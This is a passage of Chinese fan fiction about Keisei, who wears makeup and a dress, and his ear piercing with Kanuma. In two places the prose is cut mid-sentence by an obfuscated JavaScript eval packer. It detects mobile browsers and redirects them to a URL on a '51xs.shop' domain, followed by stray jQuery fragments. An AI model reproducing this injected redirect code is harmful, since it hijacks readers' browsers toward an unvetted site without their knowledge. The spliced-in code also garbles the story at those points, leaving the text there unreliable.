“可是做了美甲之后会很麻烦吧,椿不是还要保护街区吗,打架的时候没法握紧拳头。”坐在美甲师面前,桂生把双手伸出去挑选粉色与黑色为主要颜色的格子系的美甲。 双手都被占用之后似乎除了聊天什么都做不了,所以他歪着头跟椿搭着话。 小时候对这些美丽、精致、可爱、需要细心维护的东西可能会更加兴致勃勃一点,但是最近几年开始感到有些别扭了。 似乎是从他开始想要从“宝箱”里跳出来开始,他意识到在他作为宝箱里的珍宝时,这些会让他的价值更高、能够更好的取悦勇者的饰品们,现在都成了他从宝箱里出逃的拖累。 他想从宝箱出来,不再是象征着胜利与荣耀的战利品。而是作为勇者手中的利刃、勇者背后的同伴,想成为他们的力量,陪他们一起去取得这份荣光。越是脆弱的宝石越难雕琢,越珍贵美丽的东西越需要保养。越是脆弱就越会被珍贵地对待,似乎除了象征性的东西,就只是单纯的添麻烦。 那作为强者应该要舍去这些会让自己弱小的东西才对吧?就像他穿上那身夜袭衣之后就没法在意头发被兜帽压得塌塌的,揍人揍多了之后手上就不再光滑了,会长出厚厚的茧子让拳头变硬…… 宝石想要得到力量,不就得舍弃这身华美的饰品吗?忍受苦痛、舍去坚持,被磨碎混入金属,被熔炼,被塑形,被捶打,被磨砺磨成刀刃。 “哼哼——”似乎被问到了得意的东西,椿的语调也上扬了许多“人家的踢技很厉害的哦,至于会不会妨碍啊……”只是当他转过头看向桂生时忽然意识到,桂生在很认真的思考着什么,在通过他的回答来破解自身的迷惘。 椿顿了顿,将到了嘴边的答案咽了下去,声音忽然压低下来,认真地,注视着桂生的眼睛说。 “最初的时候真的很妨碍啦,因为喜欢打扮成这样所以莫名其妙的就会被讨厌被围堵,明明只是坚持自己的喜欢就要遭受很多糟糕的事情,需要用很大的力气去维护。” “但是不能做自己的话不是更痛苦吗?”椿轻声说着,桂生从他火红的发尾里似乎看到了一颗在烈焰中挣扎的宝石。她在拒绝被打碎,拒绝被熔炼,为此不惜对抗周身的火焰。 “人家努力变强就是因为想把自己打扮成自己喜欢的样子,只要想到能穿上喜欢的裙子,弄成喜欢的发型,戴上喜欢的耳钉,做成喜欢的指甲……这一切的一切都会成为人家往前走的力量,不管这有多困难,为了喜欢的东西而努力本身就是很幸福的事情……” 椿的眼睛像是在发光,桂生忽然想到了昨天的初遇。原本该是拖累的高跟成为了有力的武器将刀刃踢飞,强劲有力的腿像是蛇尾一样缠上对方的脖子。椿似乎还在担心自己的表达不够清楚,想再说点什么解释一下,但是桂生已经懂了,从他的目光中、从他的行动里桂生明白了椿想表达的事情。 他好贪心。 明明椿也在把自己当做是宝箱里的财宝精心装扮着,像是对待博物馆里的国宝一样精心保养着自己的锋刃……他不愿意舍弃任何东西,却仍旧要往前走。 如果做了美甲就没法使用拳头那他就用脚来进攻,如果喜欢的东西成为了变强的阻碍,那就用“喜欢”这份心情作为变强的燃料,直到强到能够拥有打扮自己的权力。 那当然不会成为他的阻碍,这简直就是最强的增益嘛。换位思考一下,如果能一直跟大家在一起,就算再怎么痛,我也会用尽力气站在他们的身边去击败他们的敌人吧? 他好贪心,可是只要够努力,贪心似乎也没有什么不好。 桂生忽然理解了也豁然开朗。这一刻他忽然很感谢椿,感谢对方认真的回答。在椿的回答里,桂生看到了一条新的道路。 钻石的刀刃最够华美也足够璀璨,虽然难以雕琢但却足够强大。 这个男人好贪心,自己也要被他的贪心传染啦。 16. 第 16 章 做完美甲之后两个人一起挑了很多耳钉。 桂生并没有耳洞,也不是没想过去打,但在有马惊恐的目光中和鹿沼光是听就开始替他痛的牙疼表情下一直没打。现在想想,哥哥们其实并没有阻止他的意思。只是他不想让他们露出这种表情,本能地就放弃了打耳洞的选项而已。 重新注意到这些饰品后桂生才意识到,他还是蛮喜欢的嘛,那些帅气的、可爱的、闪亮亮的耳饰。 桂生习惯了作为弱者的生存方式,许多时候他都将“放弃”放在了解决问题的最优解。为了让自己能够理所当然的接受失去的东西,所以一直强迫自己不去在意那些不可以拥有的东西。如果总是想要不能得到的东西自己也会很难过,一直注视着他的有马和鹿沼也会为他的悲伤而悲伤。 这么一想,雪哥和沼哥不是也完全没有打耳洞吗?该不会是因为他不能打,所以他们也决定陪着他吧。 椿没有想那么多,甚至愿意陪他再打一个。然后被桂生婉言拒绝了,虽然打架都打过了按道理打耳钉的疼痛不会是什么不能忍受的东西,但是他实在没有把握控制自己的泪腺,要是在椿面前因为打耳钉这种微不足道的疼痛哭得眼泪鼻涕落一地也太逊了吧? 就算桂生觉得椿不会嘲笑他,他也不能忍受在风铃人的面前丢脸至此! 而且……总感觉这种事情还是需要熟悉的人在身边比较好。这么想着,两个人像是扫荡一样在百元店里挑选了超多小饰品。也不知道自己能不能用上,反正也不贵,喜欢的就先都买了呗? 这才一个上午,两个人就已经是大包小包拎一手,正当他们讨论着中午要去哪家吃饭时一个电话把椿摇走了。似乎是街道上出了什么事情,虽然让别人帮忙出面似乎也没有问题,但是作为持国众的笔头他不在场有点不像话。 那就没办法啦,毕竟是防风铃嘛。在逛街的时候被叫回去这一点也很戏剧化啦,像特摄片里救场的英雄一样,还挺帅的。桂生不在意的挥了挥手,在椿的再三道歉中把人送上了公交。 就说他怎么这么帅,原来是四天王啊,那就可以理解了。桂生拎着大堆购物战果,坐在街边的椅子上刷着手机感叹。不过梅宫一到底是怎样的男人呢?椿很强是一回事,但是能够看出椿的强大,并且不带偏见地让他成为四天王也也很厉害吧? 风铃的顶点是个好顶点诶。 虽然还没有见过本人,但是桂生对梅宫一的好感度喜加一。 接下来要做什么呢?其实上午已经玩得很开心了,可是难得画了这么可爱的妆容,直接回去有点不甘心…… 好想让哥哥也看看啊,啊雪哥还是算了,他会石化的吧?小时候甚至会说着“别总是给桂生穿女装啊,超别扭诶。”之类的话,奋起向家里掌管伙食的神明抗议。 果然还是叫沼哥吧,感觉如果是沼哥的话应该能够坦然的接受。 【沼哥沼哥,下午有空吗w】by狮子头连就是坠吊的 【诶w超闲的哦,桂生单独找人家,是要约会吗】by世界上最好的沼哥 桂生的消息一出来,鹿沼大概就猜到了是有什么要瞒着有马的事情,偷偷瞟了两眼还在烫头发的有马才把目光移回手机屏幕上。 有马从镜子里看到了鹿沼鬼鬼祟祟的样子翻了个白眼,他的眼睛本来是锐利的上挑眼,只是一直被他懒懒散散的耷拉着看起来像死鱼眼而已,这么往上一翻,嘲讽满点。 用屁股想也能猜到,鹿沼那家伙绝对是收到了桂生的信息。肯定是桂生又拉他一起去做什么见不得人的事情又怕自己骂他,所以拉着宇宙第一溺爱这臭小鬼的鹿沼一起乱来。要不然鹿沼收到信息也不管人家要不要保密,绝对第一句话就是“有马有马,跟你说哦,人家听说……”之类的凑过来在耳边上呜呜哇哇。 亏鹿沼这家伙还每次都答应了,还每次居然真的给那家伙保密了。算了,有鹿沼陪着总比这小子一个人乱搞好得多。 有马翻着白眼,装作自己什么都不知道,对于背后看着手机一脸傻笑的鹿沼眼不见心不烦。 【餐厅链接】【餐厅链接】【餐厅链接】【餐厅链接】 【之前沼哥说想去试试这几家吧?今天去哪家吃午餐?】【流口小猫表情包】by狮子头连就是坠吊的 【诶——小桂居然还记得吗,人家超感动,那就这个,听说他们家的季节限定甜点超有名,应该是小桂会喜欢的类型啦w】【餐厅链接】【可爱小鹿表情包】by世界上最好的沼哥 【唔哇超期待,那我在店里等我哦,有超超超大惊喜给沼哥w】by狮子头连就是坠吊的 【小鹿表情包“收到”】【立刻就到.gif】by世界上最好的沼哥 鹿沼其实早就预料到桂生最近会约他出来,最迟也就是这几天。 天知道昨天追到一半发现面具人是桂生的时候他吓得冷汗都出来了,心想着绝对不可以让桂生被追到,所以才勉强自己拼了命追上去,想要给他创造逃跑的机会。 还好十龟哥似乎也发现了什么,及时停了下来,不然绝对会变成超级难搞的局面。虽然不知道桂生是觉得面具人很帅故意模仿的还是真的就是面具人本人,总之一定要找个机会去跟他聊聊才行,不然这个孩子肯定会受伤的! (在你们看不到的地方已经把自己玩得破破烂烂的桂生提着大包小包在餐厅打了个喷嚏) 等鹿沼到餐厅的时候并没有看到桂生人,一眼看过去,周末的餐厅里到处都是小情侣,唯一一个单人坐在那儿的还是穿着裙子的可爱女孩子…… 桂生该不会出什么事情了吧?鹿沼忍不住担心,这孩子一直都很准时的,能让他迟到肯定的发生了什么事情。总之先线上联络一下试试看。 【我到了哦,小桂在店里吗?】鹿沼皱着眉头看着手机屏幕,完全没有意识到不远处那桌穿着裙子的可爱女孩子抬起了头,看到他新剃的丸子头石化了。 诶?诶?诶?怎么这样!?我沼哥那头发质超好超柔顺的头发呢!?剃掉了?剃得只剩这么点了!?怎么这样啊,那以前买的发卡不就都用不上了吗? “沼哥…?” 鹿沼听到熟悉的声音抬起了头,一眼撞进了眼前这桌女孩子的眼中。看着正在向他招手的可爱女孩子,听着熟悉的声音,鹿沼逐渐褪色。 啊啊啊啊啊啊啊啊啊桂生变成女孩子啦!!!!!!啊啊啊啊啊啊啊!!!跟这么可爱的桂生约会?我?啊?真的假的!?有马知道了会杀了我的绝对会杀了我?! 上一次遇到女装桂生还是在小学的时候,那个时候也只是简单的套了个裙子而已,现在这个妆容精致、做了漂亮美甲,衣着打扮都超有品楚楚可怜的偶像级美少女是谁啊!?还有他身边的这些大包小包,不都是女装店的包装吗!?诶?诶?桂生真的要走上这条路吗?那不是超辛苦!? 桂生,你在外面到底都学了些什么啊。 瞬间,面具人什么的事情就从鹿沼的脑子里飞出去了,现在他满脑子都是桂生变成了美少女的事情。大脑飞速运转着,眼看着不仅是变得灰白,灵魂都要从嘴里吐出来了。 “沼哥别站在门口啦,我们坐下来慢慢说吧。”看着鹿沼一直没动,桂生干脆自己主动起身走过来。虽然是马丁靴,鞋子里面软软的,但故意挑了很高的跟,走起路来有点别扭,桂生踉踉跄跄地走到鹿沼身边,主动地握住了他的手晃了晃。 “抱歉呀…看到小桂这个样子人家走神了啦。”鹿沼眨了眨眼看着眼前近看更加可爱的桂生,心脏累累的、头晕晕的、呼吸有点困难,但还是笑着握住了他的手坐到了座位上。 “沼哥你看你看,我穿这个可爱吗?”桂生踩着高跟,在鹿沼面前笨拙地转了一圈,眼看着要往旁边倒被鹿沼一个手快拉回了座位。 “是很可爱啦,小桂本来就够可爱了,现在这样直接出道成为idol也不会输给其他人的吧”鹿沼笑着帮他把压在身下的裙子整理好。他大概明白了桂生说的惊喜是什么了,虽然惊吓的含量比较高。 倒也不觉得穿女装有什么不好的,而且桂生这样不是超可爱吗?鹿沼更多的还是担心桂生会不会因为这个被欺负。如果是以前,大家一直在一起,如果有人敢对桂生说什么不识趣的话他们也能出面,但是现在桂生一个人住着呀…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125306|149894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会被排挤吗?会被欺负吗? 鹿沼不可避免的担心着,但是他没有问出来,不如说,他不想扫桂生的兴。桂生是个好孩子,好到他总是愿意为了身边的人的心情放弃自己想做的事情。如果是有马的话大概会爽朗的说出来,他们兄弟之间就是这样的相处模式。 但是鹿沼做不到这样的事情,他能感觉到的,桂生笑着时的难过。 两个人在刻意营造出的舒缓气氛下聊了起来,然后慢慢适应对方的新造型。多看几下那种窒息感也就消失了,桂生只是穿着裙子而已,但并没有刻意模仿女孩的作态,连自称都没有改变过,还是用的专属于男性的“俺”。 什么啊,原来只是因为可爱所以这样打扮一下而已啊,真是松了一口气。放心下来之后饭都变得好吃了起来。 “对啦,对啦,人家的新发型帅气吗?”鹿沼叼着叉子问桂生,原本鹿沼也是可爱系的男孩子这样的动作在他身上也并不违和,只是现在扎起丸子头之后整个人的气氛都变得凶狠又锐利,连可爱的下垂眼都变得充满了嘲讽的意味。 “很帅哦,沼哥为什么突然想起要换发型啦?”明明昨天在后面追着跑的沼哥还是那么可爱的样子,今天就变成了雪哥二号了诶!这不是失去了最高光最高光的外形设定了吗?不过沼哥看起来对这个发型很满意的样子,多看看其实也就习惯了吧? 桂生用如出一辙的姿势叼着叉子想。 “看着昨天的小桂,总觉得要做出一些觉悟,去改变什么才行。”鹿沼轻声说着,虽然是这样凶恶的造型,但当他的目光落在桂生身上时依然很柔和。“小桂其实也在偷偷做着努力吧,人家知道的哦。昨天人家还想着要帮你逃出去,结果光是追上来就很辛苦了诶……小桂也变厉害了啊。” 虽然知道沼哥肯定是在哄自己,但是偷偷努力被重要的人认可的心情还是会让心里暖暖的嘛。 “沼哥已经很厉害了啦!”虽然桂生认可鹿沼的决心和努力,但是他不得不反驳对方时不时出现的妄自菲薄。虽然沼哥确实在体能上来说跟雪哥没法相提并论,但是有马和鹿沼本来就是一直在一起的,他们的默契才是最强大的东西嘛。 沼哥总之担心自己是拖后腿的那个,明明真正拖后腿的人就在他眼前堂堂正正大言不惭毫不知羞的吃着蛋糕诶! 听到桂生的话鹿沼只是一愣,揉了揉桂生的头轻声说。 “人家也在努力变强啦,所以,小桂如果有什么需要帮忙的地方一定要叫人家哦,不论什么时候,人家一定会赶到的。” 他知道桂生不会坐以待毙的,虽然他总是会轻易地放弃很多东西,舍弃那些那些无关紧要的、对于其他人来说意味着生活品质能带来幸福的东西。但只要和家人、兄长挂钩他从来都不会放弃。 鹿沼没有问出来,但是他已经猜到了,桂生就是面具人本人。那个单骑出阵挑战五十人团伙之后逃脱出来的面具人,甚至也猜到了十龟哥大概是看到了什么,所以昨天才会那样安排。 他不想让桂生踏入我们的世界,即使那是桂生的愿望。 有马也好、十龟哥也好,都是生来的强者,有着强壮的体格和锻炼的毅力。所以在他们眼中看到的是桂生的痛苦、桂生的狼狈,桂生追求的东西不值得桂生这样付出。 但鹿沼不一样,他也是弱者,他知道弱者强求不属于自己的天赋要付出什么,也知道为什么桂生宁可付出这些也要去做。就算弱小也好,笨拙也好,如果不伸手去触碰,踮起脚去够,被欺负的人只能一直被欺负。 鹿沼讨厌被欺负的人,讨厌放任自己一直被欺负的人。世界本来就是不公平的,就算恰好没有那些便利的天赋,人也总是会有不可以让步的东西,也必须为了这些东西狼狈地往前走。 所以,他会支持桂生,即使他同样会为桂生的痛苦而痛苦。 “嗯——我知道啦,接下来我要去做超大胆的事情,沼哥要帮我保密哦。”桂生欣然点头。上挑的眼睛眯起来,可爱的小脸上写满了“阴谋。” 鹿沼:诶…我有种不祥的预感,总觉得今天接下来要做的事情如果被有马知道,我会被他揍出屎来。 17.第 17 章 “要…要做这种事情吗…”鹿沼的声音带着些许的哽咽,甚至不自觉地咽了咽唾液。看似沉稳又平静的表情下藏着俨然已经崩溃尖叫呐喊的灵魂。 我就知道啊啊啊!会死的会死的绝对会死的!被有马知道了根本没有半点活路! 听完桂生的安排之后,鹿沼这在弟弟面前强装出来的可靠面具彻底裂开了。上下两张嘴唇磨蹭着扭曲着,努力的把拒绝的话语孕育出来。 很快了,只差一点点了,鹿沼稔,你可以的,你能做到,说出来,快!说出来,告诉他!只要你说出来了桂生这么听话肯定不会强求你的! “真的很想要嘛…沼哥的话一定会同意的对吧,果然这种时候还是要有沼哥在身边才能安心嘛。沼哥,拜托拜托——” 看着桂生瞪大的眼睛闪亮亮,小嘴涂上了粉嫩的口红就在那儿不顾人死活的嘚叭嘚叭,鹿沼觉得自己会死,脸上冷汗都流出来了,脖子忍不住后缩,但是看着小桂的脸不断贴近,他还是没有经得住小孩这一顿撒娇。 “会很痛哦,小桂真的想好了吗?”鹿沼叹了一口气轻声说着。揉了揉桂生的头发,顺着他的侧脸,手指轻轻地捏了捏他的耳垂。这个地方,会被刺破,血液会流出,会变红、发肿、发烫,持续地、长久地在三到七天里剥夺他的注意力。 这些微不足道的疼痛会在他身上被无尽地放大,一直持续着,直到包裹着异物的血肉结痂、愈合。可是桂生说他想要,最知晓疼痛带来的苦楚的他说想要。 桂生认真地点了点头,他没有说更多的东西,他知道鹿沼会同意的。 似乎从小到大都是这样的,他有一个名为“我想要”的咒语,似乎只要对鹿沼说了这三个字,不论多么过分的要求对方都会努力满足他。可越是这样桂生就越担心自己提出太过分的要求勉强到鹿沼,于是名为“我想要”的许愿魔咒只在微不足道的事情上出现。 桂生知道的,虽然在雪哥面前很孩子气,但是沼哥喜欢被依赖,也一直在努力成为能够被他依赖的人,沼哥一直在很努力的做个好哥哥,所以桂生也很努力做个不那么糟糕的弟弟。 或许是因为任性的次数太多了,这个咒语似乎只会在鹿沼身上奏效,雪哥和十龟哥根本根本根本就不会放纵他的任性,至于丁子……丁子会被说教得更惨,以至于桂生做坏事都不好意思叫丁子。 “…我知道了,会陪你去的啦,反正就算我不陪你,小桂决定好的事情自己偷偷的也要做对吧。”像是放弃了一样,鹿沼叹了口气。想到桂生可能会一个人哭泣着颤抖着,独自去面对疼痛的折磨……鹿沼觉得就算事后被有马揍一顿也不能做这么残忍的事情! 虽然有马可能更大的可能性是举着拳头冲过来,揍又揍不下去,拳头举起来又放下,气呼呼地绕着他走来走去,最后吭叽吭叽地一个人生闷气。 鹿沼的同意让桂生松了一口气,正当他以为在他打耳洞的路上最大的阻碍已经被解决时,不出意外地还是出了点意外。 当熟悉的面孔以穿孔师的姿态出现时不论是鹿沼还是桂生都出现了短暂的恍惚。啊?怎么是这家伙啊?!啊…说起来他好像确实也提到过,最近在做穿孔师什么的。 一瞬间鹿沼和桂生的颜色都灰白了。 狮子头连里高中生只占两成,剩下的部分由成年人和辍学未成年组成,当然以前也有强到离谱破格收入的初中生和他们带着来的小鬼。只不过最近没有这样的特例。按照狮子头连的人数来说,在哪里遇到都很正常,毕竟不良也是要吃饭的,不打工就没有钱。 也不是什么很熟的人,只是桂生在狮子头连的时候也跟对方算是点头之交。 几乎是本能地,在对方看到桂生的脸之前,鹿沼把桂生抱进了怀里,让后者整张脸都埋在了他的胸口,像是一对过分腻歪的情侣一样相拥在一起。其实鹿沼也没想明白为什么要这么做,但是身体擅自动了起来。 不想桂生遭遇非议。 虽然不被性别束缚、不被世间的目光影响坚持自己喜欢的东西是很帅气的事情,但是这也是很辛苦的事情。或许桂生并不在意其他人对他怎么说,但是鹿沼不希望明明他在场还让桂生被人说难听的话。 “哟,这不是鹿沼吗?换了新发型带着女朋友过来打耳洞吗?”显然对方没有读懂这突然安静的空气,爽朗地走了过来。 鹿沼还没想好要说什么圆个场,怀里桂生却已经反应过来了,双手环着鹿沼的腰,夹着嗓子轻声说。 “是沼亲亲认识的人吗……” 他的声音和升高一样停在了小学的时候,没有变声的少年音稍微矫揉造作一些听起来也挺是那么回事的。 沼…沼亲亲……?诶?诶?诶?桂生啊啊你在外面到底都学了些什么啊。 “是哦,是人家在狮子头连的同伴啦,K…kaori不要怕哦。”虽然内心的惊讶三言两语说不出来但鹿沼还是临机应变地接上了桂生的话,眼看着就要把小桂(ka酱)脱口而出,到了嘴边一转变成了小薰。 “还真是黏黏糊糊啊…所以,是要打这边对吧?你倒是放开啦,这样我怎么作业。”他带上了手套用消毒用品给桂生的耳朵消了消毒,在耳垂上对了光避开血管之后,拿着打孔用品打算打孔的时候才觉得这个姿势抱着也太碍事了。 其实腻腻歪歪的小情侣也不是没有,但更多是眉骨钉、耳骨钉、鼻钉、唇钉、舌钉这类的才会黏糊成这样。但是这只是一个耳钉而已啊!能痛到哪里去啊!要这样吗鹿沼!?你自己天天粘着有马就算了,怎么找了个喜欢的人也这么黏黏糊糊啊!? 打孔师拉了拉鹿沼,试图把人拉开,却没拉动。然后才发现,人家小姑娘双手都箍在鹿沼腰上,抱得死死的,一点都不松开,有的人看起来体体面面这会已经快被拦腰截断了。 “可是人家害怕呀…”桂生倒也不是装的,之前鹿沼摸他的耳垂问他真的做好觉悟没有的时候并没有什么特别的感觉,以至于他甚至没有意识到耳垂原来是这么敏感的地方。 当带着酒精气味的橡胶手套在上面摩擦、磨蹭、消毒,危机感在头脑中爆鸣,浑身都是想要逃跑的欲望,从背脊升起的寒意在身体上蔓延开。 与打架时带来的疼痛不一样,这种恐惧完全就是没有道理的生物本能。没有源头的东西当然也说不上克服。并不只是桂生会这样,一般人也经常有这种情况,明明打耳洞的疼痛完全可以接受但却没法克服打耳洞之前耳朵被触碰时的恐惧。 而这种恐惧在桂生身上特别明显,他实在鲜少与他人有这样的肢体接触,以至于这样敏感的位置被触碰之后浑身都叫嚣着拒绝。 现在逃走也没有关系吧?只是打耳钉而已,并不是什么非做不可的事情吧?就算现在后悔也不是什么大不了的事情啊。在本能的影响下不仅是身体被恐惧染上开始颤抖,意志也被影响,出现了太多太多消极的想法。 克制不住地,呼吸变得急促,双手也忍不住扣紧,在鹿沼可爱的帽衫上留下了自己的指印。 “哎呀……”没有虽然不知道在桂生身上发生了什么,但是鹿沼知道肯定有什么不对劲。他向着穿刺师比出了一个嘘声的动作。“稍微等一下啦,人家的小薰还没准备好诶。” “你小子……”在耍我吗?后面的部分在鹿沼忽然锐利起来的目光下没能说出来。虽然很多人都知道鹿沼并不弱,但是看惯了这家伙在有马身后那副像女高中生一样依赖的样子很多人都不太看得起他。 但这一刻,他感受到了鹿沼的气势,这个男人是认真的,他真的会动手,在这里。连同弹舌都没发得出来,就将后半句话咽下去了。到了嘴边的话语变成了“哦…我知道了…你们好了叫我。”说完也跟逃跑一样回到了后台。 于是小小的隔间里又只剩两个人,随着关门声响起,屋子里安静得能听到对方的心跳声。 桂生的心跳得好快。 “小桂,小桂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125794|149894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …冷静一点,我在呢。”鹿沼拍了拍桂生的背,低下头在他耳边轻声说着,试图将他从一个人沉浸进去的恐惧中拽出来。 “……” 只是沉浸在陌生的恐惧中的桂生没有那么快回过神,但鹿沼并没有催促他,只是轻轻地拍着他的背,将他蹭乱的发一点点理顺,安静地等着他平静下来。 “沼哥…我怕。”许久之后,勒在鹿沼腰上的双手才放松下来。他的眼眶有些红,眼角的眼影被泪水濡湿了些许蹭在了鹿沼奶牛色的帽衫上,楚楚可怜又格外的狼狈。 鹿沼深吸了一口气,他知道,如果这个时候劝桂生放弃大概会成功,桂生已经动摇了,如果在这个时候说一些担心的话语,自己的意志就能覆盖他原本的决定,让他为了自己、为了在意他的人放弃承受这样的痛苦来获得耳洞。 如果这个时候劝阻他,让他放弃,就省下了一大堆的麻烦事,桂生也不用忍受疼痛了。可是这样真的好吗? 自己的意见桂生肯定是愿意听进去的,但自己没办法替他承受那样尖锐、持久的疼痛与灼烧般的痛苦,也没有办法跟他分担“决定了做某件事情之后却因为恐惧半途反悔”的不甘与后悔。自己真的能替他决定哪一种更好受吗? 对上了桂生的目光,鹿沼最终还是垂下了眼眸。然后缓缓的睁开,虽然仍旧是这副扎着丸子头一脸凶狠的样子,但他的目光却柔和得不行。 “没关系的小桂”他双手轻轻捧着桂生的脸,额头抵着他的轻声说。“不想打我们就去逛街,去约会,买漂亮的新衣服,戴不了耳钉我们可以一起买项链、戒指、发卡、头绳,想做什么人家都可以陪你。” “如果小桂果然还是想要戴耳钉,想要打耳洞,人家也会陪着你的。会抱着你,不让他们看到你的泪水,你的颤抖……”在桂生开始动摇的目光中鹿沼继续说了下去。然后松开了手起身,有些俏皮地用手指戳了戳桂生的额头。 “而且啊,现在在这里的是人家的女朋友小薰,是个爱撒娇的可爱女孩子,跟我们小桂有什么关系,就算痛得哭出来也没关系,就算害怕、撒娇、逃走也没关系啦。” 桂生瞪大了眼睛看着鹿沼的动作,忽然很庆幸是拉着沼哥过来陪着自己。沼哥是唯一一个和姐姐一样,比起他经历了什么,他有多么弱小,更在意他的意志、他想要什么的人。 桂生很清楚自己被哥哥们溺爱着,但是大家表达爱的方式都各有不同。在这样温暖的爱的包裹中桂生并不讨厌别人替自己做决定,但像鹿沼这样将选择的权力交给他的人仍旧有着特殊的地位。 沼哥注视着我,注视着有马桂生,而不仅仅是一个弱小的弟弟。 “我想打,所以…所以拜托沼哥陪我了。” 于是打孔师再一次被摇回了这个狭小的屋子,离开时这对小情侣是什么姿势,回来的时候还是什么姿势。小姑娘把脸埋在鹿沼的怀里,双手死死地箍着对方的腰。 说实话打孔师在小姑娘的耳朵上对光避开血管时都怀疑自己不是来给孩子打耳洞的,而是拆散小情侣的封建坏家长。这又是什么大小姐与泥腿子的故事啊,而且谁要当鹿沼那家伙的家长。 终于到了最关键的一步。一次性打孔器抵在了桂生的耳朵上,桂生也稍稍改变了姿势,由双手环着变成单手,而空出的那只手仅仅地握着鹿沼的。 “那…我要上了哦?”被眼前小情侣这一副要生离死别的气氛渲染,打孔师也郑重其事地说了一句。 得到了两声低沉地回应之后他按下了打孔器。然后觉得这么郑重其事的自己真是有病啊。场地服务全长两小时,他出现在这个屋子里的时间不超过十分钟。说真的,你们小情侣要腻歪能不能直接去开房? 于是他也没管客户什么反应,拎着器材就往外走,把空间留给这对小情侣。 他看得很清楚,在他按下打孔器的瞬间那双手箍得绑紧,如果鹿沼有椎间盘突出,这会也该被他女朋友按回去了。 18.第 18 章 心理准备一小时半,打耳洞十分钟,打完之后……就打完了没有然后了。其实打耳洞的疼痛还没有打架的时候摔倒,皮肤在地上磨蹭的感觉来得尖锐。之前那些恐惧、慌乱似乎都只是身体本能里的一种虚空索敌。 打孔师从屋子里走出去之后桂生从鹿沼的怀里抬起了头,瞪着他眼影蹭掉一半的大眼睛眨了眨。 “意外地…其实没有我想象中那么痛诶?”虽然桂生是这么说,甚至打耳洞时的反应还没有打之前的恐惧带来的颤抖多。但鹿沼的内心仍旧受到了一定的冲击。 说实话这是他第一次看到桂生的血液,就那么一点点的红色,抹两下就看不见了,桂生的状态也恢复得很快,鹿沼仍旧是感受到了那一瞬间桂生的紧绷。紧握的手,在自己怀里颤抖的身体,都在说明这孩子正在经历他无法想象也没法体验的东西。 “是吗…”鹿沼注视着桂生的耳钉有些走神,手指试探着碰了碰那边逐渐发红的耳垂。他碰得小心翼翼,桂生倒是直接侧过头蹭过来吓得他赶紧收手。 “果然,人家也去打一个好了,小桂的在右边,人家打左边吧?不对称的比较帅气。”鹿沼摸着自己的耳垂轻叹了一声,他知道自己没法对桂生经历的事情感同身受,但是就像是对接触不到的东西踮脚也要去触碰一样,至少他想尝试一下。 其实他还蛮怕的,一直也完全、一点、根本打耳洞的想法都没有。可是桂生都打了诶?!以后他买耳饰,肯定是成对的买啊,既然他只打了一个,那另外一个肯定会给人家吧。 和桂生带一对诶,有马肯定会嫉妒得脸臭臭的。 于是打孔师傅三进宫,满脸都是“你们俩到底是有什么毛病。”这一次他也没能成功见到鹿沼小女友的脸,只不过这两个人为了方便他作业改变了姿势。从鹿沼站着小姑娘抱着他的腰变成了鹿沼坐着,小女孩整个人坐在他的腿上把脸埋在右边的肩窝里。 你们两个要不去开房吧?!啊!?有女朋友了不起吗!有马,你知道吗,你兄弟找女人去黏黏糊糊了,他不要你了! 真是钱难赚屎难吃啊。 疼痛是无法共享的,但是鹿沼大概明白了那种耳垂被锐器抵住时的恐慌,那里离脑实在太近了,就算告诉自己振作一点,也很难抵御这种生物的本能,只能抱着桂生僵直着直到耳垂传来微弱的刺痛。 “小桂是很勇敢的孩子啊。” 打耳洞只是这场约会里微不足道的插曲,因为把鹿沼的上衣蹭脏了,所以接下来先去买衣服,两个玩情侣游戏上瘾的男子中学生一步步打卡小情侣约会必做事件。 买了情侣装当场就换上,黑粉为主要色系的帽衫和小裙子,搭配一些五金小挂饰,还挺有不良情侣的风味。 然后是去店里给桂生补个妆,自拍,看电影,逛街,吃小甜点,然后去吃料理。最后果然还是不习惯高跟鞋的桂生体力彻底告罄了,只能找宅急便把买的大包小包都邮寄回去,两个人再悠悠闲闲地搭电车。 填写地址的时候桂生是真的忘记了住址保密这件事情,直到鹿沼在背后笑眯眯地看了有一会了才想起慌慌张张地捂住,对着显然已经看到了一切的鹿沼凶巴巴想要威胁点什么蓄力半天,最后才挤出几个字“不准告诉雪哥!” 博美暴怒.jpg 哎呀,这里有一个超棒的派对,所有人都知道弟弟的住址,有一个人没有被邀请,是谁呢?是你啊——有马雪成。 “唔哇…不行了,已经完全走不动了。”把东西寄出去之后一人捧着一杯最近新品的奶茶,拿着各自同样电量告罄的手机连着同一个充电宝,坐在公园的长椅上。如果不是马丁靴的鞋带太难弄了,桂生甚至想把鞋子脱了晾一晾脚。 “毕竟是高跟鞋嘛,小桂第一次穿能坚持到现在已经很厉害了啦。”鹿沼的奶茶被放在了长椅上,他揉了揉桂生的头发,另一只手娴熟地修着今天拍的照片。大部分都是两个人的合照,偶有几张桂生单人的。 论社牛可能有马是狮子头连第一名,但是论修图,狮子头连谁比得过鹿沼稔啊。 先筛选掉废片,其实他拍的照片里,废片的概率还挺低的,甚至就算有些瑕疵,也可以截取部分出来作为素材。然后把能用的片子都修好发给桂生,考虑到桂生这一副跃跃欲试要发推的样子…… 